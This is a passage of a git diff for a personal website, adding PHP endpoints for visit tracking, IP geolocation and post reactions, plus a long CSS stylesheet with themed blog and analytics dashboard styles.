['data' => $geo, 'cached_at' => time()]; + // Small delay to respect API rate limits + usleep(200000); // 0.2 second delay + } + + $recentVisitors[] = [ + 'ip' => $ip, + 'timestamp' => $ipVisit['timestamp'], + 'time' => gmdate('Y-m-d\TH:i:s\Z', $ipVisit['timestamp']), // ISO 8601 UTC format for frontend conversion + 'page' => $ipVisit['page'], + 'country' => $geo['country'] ?? 'Unknown', + 'countryCode' => $geo['countryCode'] ?? '', + 'city' => $geo['city'] ?? 'Unknown', + 'region' => $geo['region'] ?? '', + 'isp' => $geo['isp'] ?? 'Unknown' + ]; +} + +// Save updated cache +if (count($geoCache) > 0) { + file_put_contents($geoCacheFile, json_encode($geoCache, JSON_PRETTY_PRINT)); +} + +$data['recentVisitors'] = $recentVisitors; + +// Ensure shares structure exists and normalize old platform names +if (!isset($data['shares'])) { + $data['shares'] = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; +} else { + // Normalize old platform names to new ones + $normalizedShares = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; + foreach ($data['shares'] as $platform => $count) { + if ($platform === 'twitter' || $platform === 'mastodon') { + $normalizedShares['mastodon'] += $count; + } else if ($platform === 'facebook' || $platform === 'bluesky') { + $normalizedShares['bluesky'] += $count; + } else if ($platform === 'copy') { + $normalizedShares['copy'] += $count; + } + } + $data['shares'] = $normalizedShares; +} + +// Load blog posts and their stats +$postsFile = __DIR__ . '/../blog/data/posts.json'; +$posts = []; +if (file_exists($postsFile)) { + $posts = json_decode(file_get_contents($postsFile), true) ?: []; +} + +// Get reactions and shares for each post +$blogStats = []; +foreach ($posts as $post) { + $postId = $post['id']; + $reactionFile = $reactionsDir . '/post_' . $postId . '.json'; + + $reactions = ['like' => 0, 'love' => 0, 'helpful' => 0]; + if (file_exists($reactionFile)) { + $reactionData = json_decode(file_get_contents($reactionFile), true); + if (isset($reactionData['counts'])) { + $reactions = $reactionData['counts']; + } + } + + // Get shares for this post from visits data (already loaded, includes date range) + $postShares = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; + foreach ($visits as $visit) { + if (isset($visit['type']) && $visit['type'] === 'share' && + isset($visit['page']) && strpos($visit['page'], '#post-' . $postId) !== false) { + $platform = $visit['platform'] ?? 'copy'; + if (isset($postShares[$platform])) { + $postShares[$platform]++; + } + } + } + + $blogStats[] = [ + 'id' => $postId, + 'title' => $post['title'], + 'reactions' => $reactions, + 'shares' => $postShares, + 'totalReactions' => array_sum($reactions), + 'totalShares' => array_sum($postShares) + ]; +} + +$data['blogPosts'] = $blogStats; + +echo json_encode(['success' => true, 'data' => $data]); +?> diff --git a/api/reaction.php b/api/reaction.php new file mode 100755 index 0000000..2433626 --- /dev/null +++ b/api/reaction.php @@ -0,0 +1,114 @@ + 'Missing required fields']); + exit; + } + + $postId = $data['postId']; + $reaction = $data['reaction']; + $visitorId = isset($data['visitorId']) ? $data['visitorId'] : md5($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']); + + $filename = $dataDir . '/post_' . $postId . '.json'; + + // Load existing reactions + $reactions = []; + if (file_exists($filename)) { + $reactions = json_decode(file_get_contents($filename), true) ?: []; + } + + // Initialize reaction counts + if (!isset($reactions['counts'])) { + $reactions['counts'] = ['like' => 0, 'love' => 0, 'helpful' => 0]; + } + + // Initialize user reactions + if (!isset($reactions['users'])) { + $reactions['users'] = []; + } + + // Check if user already reacted + $userIndex = -1; + foreach ($reactions['users'] as $index => $user) { + if ($user['visitorId'] === $visitorId) { + $userIndex = $index; + break; + } + } + + if ($userIndex >= 0) { + // User already reacted, update their reaction + $oldReaction = $reactions['users'][$userIndex]['reaction']; + if ($oldReaction !== $reaction) { + // Change reaction - decrement old, increment new + if (isset($reactions['counts'][$oldReaction]) && $reactions['counts'][$oldReaction] > 0) { + $reactions['counts'][$oldReaction]--; + } + if (!isset($reactions['counts'][$reaction])) { + $reactions['counts'][$reaction] = 0; + } + $reactions['counts'][$reaction]++; + $reactions['users'][$userIndex]['reaction'] = $reaction; + } else { + // Same reaction, remove it (toggle off) + if (isset($reactions['counts'][$reaction]) && $reactions['counts'][$reaction] > 0) { + $reactions['counts'][$reaction]--; + } + unset($reactions['users'][$userIndex]); + $reactions['users'] = array_values($reactions['users']); + } + } else { + // New reaction + if (!isset($reactions['counts'][$reaction])) { + $reactions['counts'][$reaction] = 0; + } + $reactions['counts'][$reaction]++; + $reactions['users'][] = [ + 'visitorId' => $visitorId, + 'reaction' => $reaction, + 'timestamp' => time() + ]; + } + + // Ensure all reaction types exist + if (!isset($reactions['counts']['like'])) $reactions['counts']['like'] = 0; + if (!isset($reactions['counts']['love'])) $reactions['counts']['love'] = 0; + if (!isset($reactions['counts']['helpful'])) $reactions['counts']['helpful'] = 0; + + // Save reactions + file_put_contents($filename, json_encode($reactions, JSON_PRETTY_PRINT)); + + echo json_encode(['success' => true, 'counts' => $reactions['counts']]); + +} else if ($_SERVER['REQUEST_METHOD'] === 'GET') { + // Get reactions for a post + if (!isset($_GET['postId']) || $_GET['postId'] === '') { + http_response_code(400); + echo json_encode(['error' => 'Missing postId']); + exit; + } + $postId = $_GET['postId']; + + $filename = $dataDir . '/post_' . $postId . '.json'; + + if (file_exists($filename)) { + $reactions = json_decode(file_get_contents($filename), true); + echo json_encode(['success' => true, 'counts' => $reactions['counts'] ?? []]); + } else { + echo json_encode(['success' => true, 'counts' => ['like' => 0, 'love' => 0, 'helpful' => 0]]); + } +} else { + http_response_code(405); + echo json_encode(['error' => 'Method not allowed']); +} +?> diff --git a/api/track.php b/api/track.php new file mode 100755 index 0000000..3dfdbd4 --- /dev/null +++ b/api/track.php @@ -0,0 +1,113 @@ + 'Method not allowed']); + exit; +} + +$data = json_decode(file_get_contents('php://input'), true); + +if (!isset($data['type']) || !isset($data['page'])) { + http_response_code(400); + echo json_encode(['error' => 'Missing required fields']); + exit; +} + +$dataDir = __DIR__ . '/../data/analytics'; +// Calculate date and hour from current timestamp to ensure timezone consistency +$now = time(); +$date = date('Y-m-d', $now); +$hour = (int)date('H', $now); +$filename = $dataDir . '/visits_' . $date . '.json'; + +// Load existing data - because we're not starting from scratch every time +$visits = []; +if (file_exists($filename)) { + $visits = json_decode(file_get_contents($filename), true) ?: []; +} + +// Generate visitor ID - a simple fingerprint that's probably unique enough +// Privacy advocates hate this one simple trick +$visitorId = isset($data['visitorId']) ? $data['visitorId'] : md5($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']); + +// Check if new or returning visitor - because we care about your browsing habits +$isNewVisitor = true; +foreach ($visits as $visit) { + if ($visit['visitorId'] === $visitorId) { + $isNewVisitor = false; + break; // Found you, you can't hide + } +} + +// Add visit record - we're watching, always watching +// Timestamps are the only truth in this digital wasteland +$timestamp = time(); +$visitRecord = [ + 'timestamp' => $timestamp, + 'hour' => (int)date('H', $timestamp), + 'visitorId' => $visitorId, + 'page' => $data['page'], + 'type' => $data['type'], + 'isNew' => $isNewVisitor, + 'userAgent' => $_SERVER['HTTP_USER_AGENT'] ?? '', + 'ip' => $_SERVER['REMOTE_ADDR'] ?? '' +]; + +// Add platform if it's a share +if ($data['type'] === 'share' && isset($data['platform'])) { + $visitRecord['platform'] = $data['platform']; +} + +$visits[] = $visitRecord; + +// Save data +file_put_contents($filename, json_encode($visits, JSON_PRETTY_PRINT)); + +// Also update daily summary - because raw data is messy and we like order +$summaryFile = $dataDir . '/summary_' . $date . '.json'; +$summary = []; +if (file_exists($summaryFile)) { + $summary = json_decode(file_get_contents($summaryFile), true) ?: []; +} + +if (!isset($summary['total'])) $summary['total'] = 0; +if (!isset($summary['new'])) $summary['new'] = 0; +if (!isset($summary['returning'])) $summary['returning'] = 0; +if (!isset($summary['byHour'])) $summary['byHour'] = array_fill(0, 24, 0); +if (!isset($summary['shares'])) $summary['shares'] = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; +if (!isset($summary['rss'])) $summary['rss'] = 0; + +if ($data['type'] === 'share' && isset($data['platform'])) { + // Track share + $platform = $data['platform']; + if (isset($summary['shares'][$platform])) { + $summary['shares'][$platform]++; + } +} else if ($data['type'] === 'rss_click') { + // Track RSS button click + $summary['rss']++; +} else { + // Track pageview + $summary['total']++; + if ($isNewVisitor) { + $summary['new']++; + } else { + $summary['returning']++; + } + // Use hour calculated from timestamp for consistency + $hourFromTimestamp = (int)date('H', $timestamp); + $summary['byHour'][$hourFromTimestamp]++; +} + +file_put_contents($summaryFile, json_encode($summary, JSON_PRETTY_PRINT)); + +echo json_encode(['success' => true, 'visitorId' => $visitorId, 'isNew' => $isNewVisitor]); +?> diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100755 index 0000000..789ca72 --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,1587 @@ +/* Custom font - monospace nerds unite */ +@font-face { + font-family: GohuFont14NerdFont; + src: url(../fonts/GohuFont14NerdFontMono-Regular.ttf); +} + +* { + font-family: GohuFont14NerdFont; +} + +/* Light mode - for those who enjoy retinal damage */ +:root { + --bg-color: #f7f8f7; + --bg-secondary: #e8eae8; + --text-primary: #2a3826; + --text-secondary: #62696D; + --border-accent: #904b59; + --border-color: #d0d3d0; + --hover-color: #7d9b8f; + --shadow-color: #2a382644; +} + +/* Dark mode - for the enlightened */ +[data-theme="dark"] { + --bg-color: #0C1012; + --bg-secondary: #1a2228; + --text-primary: #59C99C; + --text-secondary: #A5A9AB; + --border-accent: #326B78; + --border-color: #2a3a42; + --hover-color: #326B78; + --shadow-color: #353E4344; +} + +body { + background-color: var(--bg-color); + transition: background-color 0.3s ease; /* Smooth like butter */ + display: flex; + flex-direction: column; + align-items: center; + margin: 0; + padding: 0; +} + +[data-theme="dark"] body { + background-color: #1F282E; /* Extra dark for the vampires among us */ +} + +.search_box { + display: flex; + flex-direction: row; + align-items: center; + justify-content: center; + margin: 10px auto 0; + gap: 8px; + width: 100%; + max-width: 80rem; /* Increased from 60rem */ +} + +.search_box form { + display: flex; + flex-direction: row; + align-items: center; + gap: 8px; + margin: 0; + padding: 0; + width: 100%; + max-width: 80rem; /* Increased from 60rem */ +} + +.search_box #q, +.search_box input[type="text"], +.search_box input[name="q"] { + padding: 12px 16px; + font-size: 16px; + background-color: var(--bg-color); + color: var(--text-primary); + border: 4px solid var(--border-accent); + box-shadow: 3px 3px 1px 1px var(--shadow-color); + border-radius: 8px; + transition: border-color 0.3s ease, box-shadow 0.3s ease; + font-family: GohuFont14NerdFont, monospace; + height: auto; + line-height: normal; + flex: 1; + min-width: 0; + box-sizing: border-box; +} + +.search_box #q:focus, +.search_box input[type="text"]:focus, +.search_box input[name="q"]:focus { + outline: none; + border-color: var(--hover-color); + box-shadow: 4px 4px 2px 2px var(--shadow-color); +} + +.search_box #clear_search, +.search_box #send_search, +.search_box button[type="reset"], +.search_box button[type="submit"] { + background-color: transparent; + color: var(--text-primary); + border: none; + box-shadow: none; + padding: 12px 16px; + cursor: pointer; + transition: color 0.3s ease; + font-family: GohuFont14NerdFont, monospace; + height: auto; + width: auto; + margin: 0; + display: flex; + align-items: center; + justify-content: center; + min-width: 44px; + border-radius: 0; +} + +.search_box #clear_search:hover, +.search_box #send_search:hover, +.search_box button[type="reset"]:hover, +.search_box button[type="submit"]:hover { + color: var(--hover-color); + background-color: transparent; +} + +.search_box .search-icon { + width: 20px; + height: 20px; + stroke: currentColor; + fill: none; +} + +.search_box button { + font-size: 16px; +} + +.search_box .hide_if_nojs { + display: inline-block; +} + +.search_box .show_if_nojs { + display: none; +} + +button { + background-color: var(--bg-color); + font-size: 30px; + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + height: 50px; + width: 50px; + margin-top: 5px; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.reaction-btn, .share-btn { + background: none !important; + border: none !important; + box-shadow: none !important; + outline: none !important; + text-shadow: none !important; + border-radius: 0 !important; + height: auto !important; + width: auto !important; + margin: 0 !important; + color: var(--text-primary) !important; +} + +[data-theme="dark"] .reaction-btn, +[data-theme="dark"] .share-btn { + color: #59C99C !important; +} + +[data-theme="dark"] .reaction-btn:hover, +[data-theme="dark"] .share-btn:hover { + color: #326B78 !important; +} + +input { + width: 690px; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + font-size: 30px; + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding-left: 10px; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +input:focus, input:active { + width: 690px; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + outline: none; +} + +.info { + display: flex; + justify-content: center; + flex-direction: row; + margin-left: 20px; + line-height: 0; + margin-top: 10px; + margin-bottom: 10px; +} + +#greeting, #time { + font-size: 48px; + font-weight: 200; + color: var(--text-primary); + transition: color 0.3s ease; +} + +#blogMessage, #cheatsheetsMessage { + font-size: 48px; + font-weight: 200; + color: var(--text-primary); + margin: 0; + text-align: center; + transition: color 0.3s ease; +} + + +#blogMessage .blog-link, #cheatsheetsMessage .blog-link { + color: var(--text-primary); + text-decoration: none; + font-size: 48px; + font-weight: 200; + text-indent: 1px; + line-height: 1.6; + transition: color 0.3s ease; +} + +#blogMessage .blog-link:visited, #blogMessage .blog-link:link, #blogMessage .blog-link:active, +#cheatsheetsMessage .blog-link:visited, #cheatsheetsMessage .blog-link:link, #cheatsheetsMessage .blog-link:active { + color: var(--text-primary); + text-decoration: none; +} + +#blogMessage .blog-link:hover, #cheatsheetsMessage .blog-link:hover { + color: var(--hover-color); + text-decoration: underline; +} + +@media only screen and (max-width: 400px) { + input { + width: 50%; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding-left: 10px; + } + + input:focus, input:active { + width: 50%; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + outline: none; + } + .name { + font-size: 10px; + position: relative; + text-align: center; + white-space: pre; + color: var(--text-primary); + transition: color 0.3s ease; + } + + #greeting, #time { + font-size: 24px; + } + + #blogMessage { + font-size: 20px; + } +} + +.list_title { + font-size: 36px; + border-bottom: solid 2px var(--border-accent); + transition: border-color 0.3s ease; +} + +.lists { + display: flex; + margin-top: 25px; + flex-wrap: wrap; + vertical-align: center; + justify-content: center; +} + +.name { + font-size: 20px; + position: relative; + text-align: center; + white-space: pre; + color: var(--text-primary); + transition: color 0.3s ease; +} + +/* Center name header with blog-main-content on blog pages */ +body:has(.blog-layout) .name { + margin-left: calc(20px + 200px + 30px + 60px); /* Align with blog-main-content: layout padding + sidebar width + gap + header margin-left */ +} + +.watch, .social, .dev, .linux, .other { + display: flex; + flex-direction: column; + text-align: center; + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + margin-top: 5px; + margin-left: 10px; + margin-right: 10px; + margin-bottom: 5px; + width: 200px; + padding: 40px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +a { + transition: color 0.3s ease; +} + +a:visited, a:link, a:active { + color: var(--text-primary); + text-decoration: none; + font-size: 30px; + text-indent: 1px; + line-height: 1.6; + transition: color 0.3s ease; +} + +a:hover { + color: var(--hover-color); + text-decoration: underline; +} + +#w,#s,#d,#l,#e,#b { + color: var(--text-secondary); + transition: color 0.3s ease; +} + +.gemini-link { + position: fixed; + top: 20px; + left: 20px; + background: none; + border: none; + color: var(--text-primary); + cursor: pointer; + padding: 8px; + text-decoration: none; + font-size: 16px; + transition: color 0.3s ease; + z-index: 1000; +} + +.gemini-link:hover { + color: var(--hover-color); +} + +.onion-link { + position: fixed; + top: 55px; + left: 20px; + background: none; + border: none; + color: var(--text-primary); + cursor: pointer; + padding: 8px; + text-decoration: none; + font-size: 16px; + transition: color 0.3s ease; + z-index: 1000; +} + +.onion-link:hover { + color: var(--hover-color); +} + +.theme-toggle { + position: fixed; + top: 20px; + right: 20px; + background: none; + border: none; + color: var(--text-primary); + width: 50px; + height: 50px; + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + box-shadow: none; + transition: color 0.3s ease; + z-index: 1000; + padding: 0; +} + +.theme-icon { + width: 24px; + height: 24px; + stroke: currentColor; + transition: stroke 0.3s ease; +} + +.theme-toggle:hover { + color: var(--hover-color); +} + +.theme-toggle:hover .theme-icon { + stroke: var(--hover-color); +} + +.theme-toggle:focus { + outline: none; +} + +.blog-links { + margin-top: 15px; + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 20px 40px; + width: fit-content; + min-width: 300px; + margin-left: auto; + margin-right: auto; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.cheatsheets-links { + margin-top: 15px; + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; + width: fit-content; + margin-left: auto; + margin-right: auto; +} + +.blog-links > a { + font-size: 24px; +} + +#recentPosts { + display: flex; + flex-direction: column; + gap: 10px; + width: 100%; +} + +#recentPosts a { + font-size: 24px; + padding: 5px; +} + +.blog-page-header { + display: flex; + flex-direction: column; + align-items: center; + margin-top: 30px; + margin-bottom: 30px; + margin-left: 60px; + position: relative; +} + +.blog-header-content { + position: relative; + width: 100%; + max-width: 1100px; + display: flex; + align-items: center; + justify-content: center; + gap: 30px; + min-height: 48px; + padding: 0 60px; /* Add padding for absolute positioned buttons */ +} + +.back-link { + position: absolute; + left: 0; + top: 50%; + transform: translateY(-50%); + text-decoration: none; + transition: filter 0.3s ease; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + z-index: 1; +} + +.back-link:hover .home-icon { + filter: brightness(0) saturate(100%) invert(50%) sepia(15%) saturate(800%) hue-rotate(120deg) brightness(95%) contrast(85%); + transition: filter 0.3s ease; +} + +.home-icon { + width: 42px; + height: 42px; + display: block; + color: var(--text-primary); + transition: color 0.3s ease; +} + +[data-theme="dark"] .home-icon { + color: #59C99C; + filter: none !important; +} + +[data-theme="dark"] .back-link:hover .home-icon { + color: #326B78; + filter: none !important; +} + +.rss-icon-link { + position: absolute; + right: 0; + top: 50%; + transform: translateY(-50%); + color: var(--text-primary); + text-decoration: none; + transition: filter 0.3s ease; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + z-index: 1; +} + +.rss-icon-link:hover .rss-icon { + color: var(--hover-color); + transition: color 0.3s ease; +} + +.rss-icon { + width: 32px; + height: 32px; + display: block; + color: #904b59; + transition: color 0.3s ease; +} + +[data-theme="dark"] .rss-icon { + color: #9F789A; +} + +[data-theme="dark"] .rss-icon-link:hover .rss-icon { + color: #326B78; +} + +.rss-link { + font-size: 24px !important; + margin-top: 10px; + color: var(--text-primary); + text-decoration: none; + transition: color 0.3s ease; +} + +.rss-link:hover { + color: var(--hover-color); + text-decoration: underline; +} + +.blog-page-title { + font-size: 48px; + color: var(--text-primary); + margin: 0; + line-height: 1; + display: flex; + align-items: center; + transition: color 0.3s ease; +} + +.blog-posts-container { + display: flex; + flex-direction: column; + align-items: center; + gap: 30px; + padding: 20px; + max-width: 900px; + margin: 0 auto; +} + +.blog-post { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 40px; + width: 100%; + transition: transform 0.2s ease, box-shadow 0.2s ease, background-color 0.3s ease, border-color 0.3s ease; +} + +.blog-post:hover { + box-shadow: 7px 7px 2px 3px var(--shadow-color); +} + +.blog-post-title { + font-size: 36px; + color: var(--text-primary); + margin: 0 0 15px 0; + border-bottom: solid 2px var(--border-accent); + padding-bottom: 15px; + line-height: 1.3; + transition: color 0.3s ease, border-color 0.3s ease; +} + +.analytics-section-title { + font-size: 30px; + color: var(--text-primary); + margin: 30px 0 20px 0; + line-height: 1.3; + transition: color 0.3s ease; +} + +.timezone-note { + font-size: 14px; + color: var(--text-secondary); + font-weight: 400; +} + +.blog-post-date { + font-size: 20px; + color: var(--text-secondary); + margin: 0 0 20px 0; + font-weight: 300; + transition: color 0.3s ease; +} + +.blog-post-excerpt { + font-size: 24px; + color: var(--text-primary); + margin: 0 0 25px 0; + font-style: italic; + padding-bottom: 15px; + border-bottom: 3px solid var(--border-accent); + line-height: 1.6; + transition: color 0.3s ease, border-color 0.3s ease; +} + +.blog-post-content { + font-size: 22px; + color: var(--text-primary); + line-height: 1.8; + margin-top: 20px; + transition: color 0.3s ease; +} + +.blog-post-content p { + margin: 0 0 20px 0; + text-align: justify; + text-justify: inter-word; +} + +.blog-post-content p:last-child { + margin-bottom: 0; +} + +.blog-post-content p:first-of-type { + margin-top: 0; +} + +.blog-post-content pre { + background-color: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 6px; + padding: 15px; + overflow-x: auto; + margin: 15px 0; + max-width: 100%; +} + +.blog-post-content code { + font-family: 'Courier New', Courier, monospace; + font-size: 0.9em; + background-color: var(--bg-secondary); + padding: 2px 6px; + border-radius: 4px; +} + +.blog-post-content pre code { + padding: 0; + background-color: transparent; + font-size: 0.85em; + white-space: pre; + display: block; +} + +.blog-post-signature { + text-align: center; + font-size: 22px; + color: var(--text-secondary); + margin: 0; + font-style: italic; + padding: 0; + border: none; + flex: 1; + min-width: 200px; + transition: color 0.3s ease; +} + +.reactions-share-wrapper { + display: flex; + flex-direction: row; + align-items: center; + justify-content: space-between; + gap: 30px; + margin-top: 30px; + padding-top: 20px; + border-top: 3px solid var(--border-accent); + flex-wrap: wrap; + transition: border-color 0.3s ease; +} + +.reactions-container, .share-container { + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; + flex: 0 0 auto; +} + +.reactions-label, .share-label { + font-size: 20px; + color: var(--text-secondary); + font-weight: 300; + transition: color 0.3s ease; +} + +.reactions-buttons, .share-buttons { + display: flex; + align-items: center; + gap: 15px; + flex-wrap: wrap; + justify-content: center; +} + +.reaction-btn { + background: none; + border: none; + padding: 5px 10px; + color: var(--text-primary); + cursor: pointer; + transition: color 0.3s ease; + display: flex; + align-items: center; + gap: 5px; + box-shadow: none; + outline: none; + text-shadow: none; +} + +[data-theme="dark"] .reaction-btn { + color: #59C99C; +} + +.reaction-btn:hover { + color: var(--hover-color); + box-shadow: none; + outline: none; +} + +[data-theme="dark"] .reaction-btn:hover { + color: #326B78; +} + +.reaction-btn:focus { + outline: none; + box-shadow: none; +} + +.reaction-icon-img, +.share-icon-img { + width: 20px; + height: 20px; + display: inline-block; + vertical-align: middle; + transition: fill 0.3s ease, opacity 0.3s ease, color 0.3s ease; + color: inherit; +} + +.reaction-icon-img path, +.reaction-icon-img g[fill="currentColor"], +.reaction-icon-img g[fill="currentColor"] path, +.reaction-icon-img g[fill="currentColor"] g path, +.share-icon-img path, +.share-icon-img polyline { + fill: currentColor; + stroke: currentColor; + transition: fill 0.3s ease, stroke 0.3s ease; +} + +[data-theme="dark"] .reaction-icon-img { + color: #59C99C !important; +} + +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"], +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] path, +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] g path, +[data-theme="dark"] .reaction-icon-img path, +[data-theme="dark"] .share-icon-img { + color: #59C99C !important; +} + +[data-theme="dark"] .share-icon-img path, +[data-theme="dark"] .share-icon-img polyline, +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"], +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] path, +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] g path, +[data-theme="dark"] .reaction-icon-img path { + fill: #59C99C !important; + stroke: #59C99C !important; +} + +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img { + color: #326B78 !important; +} + +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img g[fill="currentColor"], +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img g[fill="currentColor"] path, +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img g[fill="currentColor"] g path, +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img path { + fill: #326B78 !important; + stroke: #326B78 !important; +} + +[data-theme="dark"] .share-btn:hover .share-icon-img { + color: #326B78 !important; +} + +[data-theme="dark"] .share-btn:hover .share-icon-img path, +[data-theme="dark"] .share-btn:hover .share-icon-img polyline { + fill: #326B78 !important; + stroke: #326B78 !important; +} + +.reaction-btn:hover .reaction-icon-img, +.share-btn:hover .share-icon-img { + opacity: 0.8; +} + +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img, +[data-theme="dark"] .share-btn:hover .share-icon-img { + opacity: 1; +} + +.reaction-count { + font-size: 20px; + color: var(--text-secondary); + font-weight: 300; + transition: color 0.3s ease; +} + +.share-btn { + background: none; + border: none; + padding: 5px 10px; + color: var(--text-primary); + cursor: pointer; + transition: color 0.3s ease; + display: inline-flex; + align-items: center; + justify-content: center; + box-shadow: none; + outline: none; + text-shadow: none; +} + +[data-theme="dark"] .share-btn { + color: #59C99C; +} + +.share-btn:hover { + color: var(--hover-color); + box-shadow: none; + outline: none; +} + +[data-theme="dark"] .share-btn:hover { + color: #326B78; +} + +.share-btn:focus { + outline: none; + box-shadow: none; +} + +.error { + color: var(--border-accent); + font-size: 24px; + text-align: center; + padding: 20px; + transition: color 0.3s ease; +} + +.analytics-container { + max-width: 1200px; + margin: 0 auto; + padding: 20px; +} + +.stats-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 20px; + margin: 20px 0; +} + +.stat-card { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 20px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.stat-value { + font-size: 48px; + color: var(--text-primary); + font-weight: 200; + transition: color 0.3s ease; +} + +.stat-label { + font-size: 20px; + color: var(--text-secondary); + margin-top: 10px; + transition: color 0.3s ease; +} + +.hour-chart { + display: flex; + flex-direction: row; + align-items: flex-end; + justify-content: space-between; + gap: 4px; + margin-top: 20px; + padding: 20px 10px 40px 10px; + height: 300px; +} + +.hour-bar { + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-end; + gap: 5px; + flex: 1; + max-width: calc(100% / 24); + height: 260px; +} + +.hour-visual { + width: 100%; + background-color: var(--text-primary); + border-radius: 4px 4px 0 0; + display: flex; + align-items: flex-end; + justify-content: center; + padding: 5px 0; + color: var(--bg-color); + font-size: 12px; + transition: background-color 0.3s ease, opacity 0.3s ease, color 0.3s ease; + opacity: 0.85; + flex: none; + height: var(--bar-height, 0px); + flex-basis: var(--bar-height, 0px); + min-height: 0; +} + +.hour-visual:hover { + background-color: var(--hover-color); + opacity: 1; +} + +.hour-label { + font-size: 14px; + color: var(--text-secondary); + writing-mode: horizontal-tb; + text-align: center; + margin-top: 5px; + transition: color 0.3s ease; +} + +.date-selector-wrapper { + position: relative; + display: flex; + flex-direction: column; + margin: 0; + width: 200px; + min-width: 200px; + max-width: 200px; +} + +.date-selector { + margin: 0; + padding: 10px; + font-size: 20px; + border: 4px solid var(--border-accent); + border-radius: 8px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + cursor: pointer; + width: 200px !important; + min-width: 200px !important; + max-width: 200px !important; + box-sizing: border-box; + flex-shrink: 0; + position: relative; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.date-selector:hover { + border-color: var(--hover-color); + width: 200px !important; +} + +.date-selector:focus { + outline: none; + border-color: var(--hover-color); + width: 200px !important; + box-shadow: 5px 5px 1px 2px var(--shadow-color); +} + +.date-selector:active { + width: 200px !important; +} + +.date-selector::-webkit-calendar-picker-indicator { + display: none; +} + +.date-selector::-webkit-datetime-edit { + color: var(--text-primary); +} + +.date-selector::-webkit-datetime-edit-fields-wrapper { + color: var(--text-primary); +} + +.date-selector::-webkit-datetime-edit-text { + color: var(--text-secondary); +} + +.date-selector::-webkit-datetime-edit-month-field, +.date-selector::-webkit-datetime-edit-day-field, +.date-selector::-webkit-datetime-edit-year-field { + color: var(--text-primary); +} + +.custom-calendar { + position: absolute; + top: 100%; + left: 0; + margin-top: 5px; + background-color: var(--bg-color); + border: 4px solid var(--border-accent); + border-radius: 8px; + box-shadow: 5px 5px 1px 2px var(--shadow-color); + padding: 15px; + z-index: 1000; + display: none; + width: 350px; + box-sizing: border-box; + min-width: 350px; + max-width: 350px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.custom-calendar.show { + display: block; +} + +.calendar-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 15px; +} + +.calendar-nav-btn { + background-color: var(--bg-color); + border: 4px solid var(--border-accent); + border-radius: 8px; + color: var(--text-primary); + font-size: 18px; + padding: 5px 15px; + cursor: pointer; + box-shadow: 3px 3px 1px 1px var(--shadow-color); + transition: border-color 0.3s ease, color 0.3s ease, background-color 0.3s ease; +} + +.calendar-nav-btn:hover { + border-color: var(--hover-color); + color: var(--hover-color); +} + +.calendar-month-year { + font-size: 20px; + color: var(--text-primary); + font-weight: 200; + transition: color 0.3s ease; +} + +.calendar-weekdays { + display: grid; + 